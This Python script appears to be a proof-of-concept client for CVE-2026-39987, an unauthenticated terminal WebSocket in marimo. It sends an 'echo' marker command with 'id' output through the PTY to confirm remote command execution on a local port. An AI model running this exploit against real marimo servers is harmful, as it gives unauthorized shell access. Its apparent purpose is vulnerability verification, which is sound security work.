#!/usr/bin/env python3
"""WebSocket client for the marimo /terminal/ws endpoint (CVE-2026-39987).

Usage: ws_exploit_client.py <port> <marker> [access_token]

Connects to ws://127.0.0.1:<port>/terminal/ws (optionally with an
access_token query parameter), sends a shell command through the PTY, and
reports whether attacker-controlled command output is observed.

Exit 0 = marker observed in PTY output (interactive shell obtained).
Exit 1 = connection rejected / closed / no marker observed.
"""
import asyncio
import sys

import websockets

PORT = sys.argv[1]
MARKER = sys.argv[2]
TOKEN = sys.argv[3] if len(sys.argv) > 3 else None
URI = f"ws://127.0.0.1:{PORT}/terminal/ws"
if TOKEN:
    URI += f"?access_token={TOKEN}"


async def main() -> int:
    try:
        ws = await websockets.connect(URI, open_timeout=10)
    except Exception as e:
        print(f"CONNECT_FAILED: {type(e).__name__}: {e}")
        return 1

    collected = ""
    try:
        # Unique command whose output proves arbitrary command execution.
        cmd = f"echo {MARKER}_$(id -u)_$(id -un)\n"
        await ws.send(cmd)
        deadline = asyncio.get_event_loop().time() + 15
        while asyncio.get_event_loop().time() < deadline:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=2)
            except asyncio.TimeoutError:
                if MARKER in collected:
                    break
                continue
            except websockets.exceptions.ConnectionClosed as e:
                print(f"CLOSED: code={e.code} reason={e.reason}")
                break
            collected += msg
    finally:
        await ws.close()

    print("OUTPUT_BEGIN")
    print(collected)
    print("OUTPUT_END")
    if MARKER in collected:
        print("RESULT: RCE_CONFIRMED marker observed in PTY output")
        return 0
    print("RESULT: no marker observed")
    return 1


sys.exit(asyncio.run(main()))